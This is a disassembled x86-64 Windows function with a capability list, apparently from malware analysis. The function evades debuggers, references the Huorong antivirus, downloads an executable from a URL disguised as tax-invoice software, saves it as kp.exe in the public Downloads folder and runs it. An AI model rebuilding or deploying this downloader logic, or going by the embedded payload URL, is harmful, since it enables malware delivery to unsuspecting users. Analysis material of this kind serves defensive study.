Function at 0x1800088f0
Capabilities:
Check os version
Create http request
Create process on windows
Create thread
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11c0]
mov eax, 0x12c0
call fcn.1800125b0
sub rsp, rax
xor r13d, r13d
lea rcx, str.Kernel32
mov dword [rbp + 0x1200], r13d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CheckRemoteDebuggerPresent
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x1200]
call rbx
cmp dword [rbp + 0x1200], 1
je 0x180009198
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x18000898d
lea rdx, str.Error:_Unable_to_get_executable_name.
call fcn.18000cd50
mov rcx, rax
call fcn.18000d000
jmp 0x180009198
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x30], r13
mov r8, rdi
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 7
lea rax, [rbp - 0x50]
nop
inc r8
cmp word [rax + r8*2], r13w
jne 0x1800089b0
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x30]
call fcn.1800024f0
cmp qword [rsp + 0x48], 8
lea rbx, [rsp + 0x30]
mov r14, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
setae r15b
cmovae rbx, r14
test rsi, rsi
je 0x180008b58
mov r12d, 0x100
lea rcx, [rbp + 0x1c0]
mov r8d, r12d
xor edx, edx
call fcn.1800143e0
lea rcx, [0x180048760]
lea rdx, [0x180048762]
movzx eax, word [rcx]
cmp ax, r12w
jae 0x180008a64
movzx eax, al
add rcx, 2
mov byte [rbp + rax + 0x1c0], 1
cmp rcx, rdx
jne 0x180008a13
lea rcx, [rsi - 1]
mov rax, rdi
cmp rcx, rax
cmovb rax, rcx
lea rcx, [rbx + rax*2]
movzx eax, word [rcx]
cmp ax, r12w
jae 0x180008a55
cmp byte [rbp + rax + 0x1c0], r13b
jne 0x180008ab0
cmp rcx, rbx
je 0x180008b58
sub rcx, 2
jmp 0x180008a42
lea rcx, [rsi - 1]
mov rax, rdi
cmp rcx, rax
cmovb rax, rcx
lea rcx, [rbx + rax*2]
nop word [rax + rax]
movzx r8d, word [rcx]
lea rax, [0x180048760]
mov edx, 1
cmp word [rax], r8w
je 0x180008ab0
add rax, 2
sub rdx, 1
jne 0x180008a90
cmp rcx, rbx
je 0x180008aab
sub rcx, 2
jmp 0x180008a80
mov rcx, rdi
jmp 0x180008ab6
sub rcx, rbx
sar rcx, 1
cmp rcx, rdi
je 0x180008b58
inc rcx
mov qword [rsp + 0x70], r13
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 7
cmp rsi, rcx
jb 0x1800091bb
sub rsi, rcx
lea rax, [rsp + 0x30]
cmp rsi, rdi
cmovb rdi, rsi
test r15b, r15b
mov r8, rdi
cmovne rax, r14
lea rdx, [rax + rcx*2]
lea rcx, [rsp + 0x70]
call fcn.1800024f0
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180008b45
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008b40
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800091b5
call fcn.180011d18
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
mov r8d, 7
mov qword [rsp + 0x70], r13
lea rdx, str.huorong
mov qword [rbp - 0x80], r13
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], 7
call fcn.1800024f0
lea rcx, [rbp - 0x70]
call fcn.180006b10
mov r14, qword [rbp - 0x80]
movabs rcx, 0x7ffffffffffffffe
mov rsi, qword [rbp - 0x60]
mov rax, rcx
sub rax, r14
cmp rax, rsi
jb 0x1800091c1
cmp qword [rbp - 0x78], 8
lea r12, [rsp + 0x70]
mov r13, qword [rsp + 0x70]
lea rax, [rbp - 0x70]
cmovae r12, r13
mov qword [rsp + 0x50], 0
cmp qword [rbp - 0x58], 8
lea r15, [rsi + r14]
mov ebx, 7
lea rdi, [rsp + 0x50]
cmovae rax, qword [rbp - 0x70]
mov qword [rbp + 0x1200], rax
cmp r15, rbx
jbe 0x180008c87
cmp r15, 8
mov rbx, r15
cmovb rbx, qword [0x18004a160]
or rbx, 7
cmp rbx, rcx
jbe 0x180008c16
mov rbx, rcx
mov rcx, 0xfffffffffffffffe
jmp 0x180008c45
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1800091cd
add rcx, rcx
cmp rcx, 0x1000
jb 0x180008c71
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800091cd
mov rcx, rax
call fcn.180011d20
test rax, rax
je 0x1800091b5
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180008c82
test rcx, rcx
je 0x180008c80
call fcn.180011d20
mov rdi, rax
jmp 0x180008c82
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x68], rbx
mov rdx, r12
lea rbx, [r14 + r14]
mov qword [rsp + 0x60], r15
mov r8, rbx
mov rcx, rdi
call fcn.180013d30
mov rdx, qword [rbp + 0x1200]
lea rcx, [rbx + rdi]
lea r8, [rsi + rsi]
call fcn.180013d30
xor r14d, r14d
mov word [rdi + r15*2], r14w
mov rdx, qword [reloc.OLEAUT32.dll_VariantInit]
cmp rdx, 8
jb 0x180008d05
mov rcx, qword [0x18038b158]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x180008d00
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800091b5
mov rcx, r8
call fcn.180011d18
movups xmm0, xmmword [rsp + 0x50]
lea rcx, [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [0x18038b158], xmm0
movups xmmword [0x18038b168], xmm1
call fcn.1800065d0
mov rdi, qword [rsp + 0x48]
lea rcx, [rsp + 0x30]
mov rbx, qword [rsp + 0x30]
lea r9, str.kp6019
mov rsi, qword [rsp + 0x40]
cmp rdi, 8
mov rdx, rsi
mov qword [rsp + 0x20], 6
cmovae rcx, rbx
call fcn.180002ae0
cmp rax, 0xffffffffffffffff
je 0x180008ef2
mov r8d, 0x20
mov qword [rsp + 0x50], r14
lea rdx, str.C:UsersPublicDownloadskp.exe
mov qword [rsp + 0x60], r14
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x68], 7
call fcn.1800024f0
xor r9d, r9d
mov dword [rbp + 0x1200], 1
xor r8d, r8d
mov dword [rsp + 0x20], r14d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x180008e7b
mov qword [rsp + 0x28], r14
lea rdx, str.https:__www.aisinoha.com_Media_Default__E4_B8_8B_E8_BD_BD_E4_B8_AD_E5_BF_83__E9_98_B2_E4_BC_AA_E7_A8_8E_E6_8E_A7__E5_A2_9E_E5_80_BC_E7_A8_8E_E5_8F_91_E7_A5_A8_E7_A8_8E_E6_8E_A7_E5_BC_80_E7_A5_A8_E8_BD_AF_E4_BB_B6_EF_BC_88_E9_87_91_E7_A8_8E_E7_9B_98_E7_89_88V2.0.65_ZS_20240428_EF_BC_89_240425_.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x180008e72
cmp qword [rsp + 0x68], 8
lea rcx, [rsp + 0x50]
lea rdx, [0x1800491bc]
cmovae rcx, qword [rsp + 0x50]
call fcn.18001e6a4
mov rdi, rax
test rax, rax
je 0x180008e69
cmp dword [rbp + 0x1200], r14d
jbe 0x180008e61
nop dword [rax]
lea r9, [rbp + 0x1200]
mov r8d, 0xfff
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rbp + 0x1200]
lea rcx, [rbp + 0x1c0]
mov r9, rdi
mov edx, 1
call fcn.18001f908
cmp dword [rbp + 0x1200], r14d
ja 0x180008e20
mov rcx, rdi
call fcn.18001ee3c
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180008ebd
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008eb8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800091c7
call fcn.180011d18
mov dword [rsp + 0x28], 5
lea r8, str.C:UsersPublicDownloadskp.exe
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea rdx, [0x18004a108]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
cmp rdi, 8
mov qword [rsp + 0x20], 6
lea rcx, [rsp + 0x30]
mov rdx, rsi
cmovae rcx, rbx
lea r9, str.cc6019
call fcn.180002ae0
cmp rax, 0xffffffffffffffff
je 0x180008f44
mov qword [rsp + 0x28], r14
lea r8, [0x1800088c0]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3c
call fcn.180011d5c
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, rsi
call fcn.180001da0
xor edx, edx
lea rcx, [rbp + 0x1c4]
mov r8d, 0x118
mov edi, r14d
call fcn.1800143e0
lea rcx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x180009084
cmp dword [rbp + 0x1d0], 2
jne 0x180009084
cmp dword [rbp + 0x1c4], 5
jbe 0x180009084
mov qword [rbp + 0x1208], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x1208]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180009084
mov rcx, qword [rbp + 0x1208]
lea rax, [rbp + 0x1200]
xor r9d, r9d
mov dword [rbp + 0x1200], r14d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x19]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x180009077
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x180009077
mov edx, dword [rbp + 0x1200]
lea ecx, [rax - 0x3a]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x180009077
mov r9d, dword [rbp + 0x1200]
lea rax, [rbp + 0x1200]
mov rcx, qword [rbp + 0x1208]
mov r8, rbx
mov edx, 0x19
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x18000906e
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rbx]
movzx edx, byte [rax]
dec edx
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov edi, dword [rax]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 0x1208]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.180011d18
cmp edi, 0x3000
jne 0x18000909b
call fcn.180008420
jmp 0x1800090ce
lea r9, [rbp - 0x50]
mov edx, 0x104
lea r8, str.59__s
lea rcx, [rbp + 0x1c0]
call fcn.180005680
lea rcx, [rbp + 0x1c0]
call fcn.180001f90
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x18000910e
mov rcx, qword [rbp - 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009109
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800091b5
call fcn.180011d18
mov rax, qword [rbp - 0x78]
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
cmp rax, 8
jb 0x18000915a
lea rdx, [rax*2 + 2]
mov rax, r13
cmp rdx, 0x1000
jb 0x180009152
mov r13, qword [r13 - 8]
add rdx, 0x27
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800091b5
mov rcx, r13
call fcn.180011d18
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180009198
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009193
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800091b5
call fcn.180011d18
mov rbx, qword [rsp + 0x1310]
xor eax, eax
add rsp, 0x12c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180018e94
int3
call fcn.1800026f0
int3
call fcn.1800018f0
int3
call fcn.180018e94
int3
call fcn.180001850
int3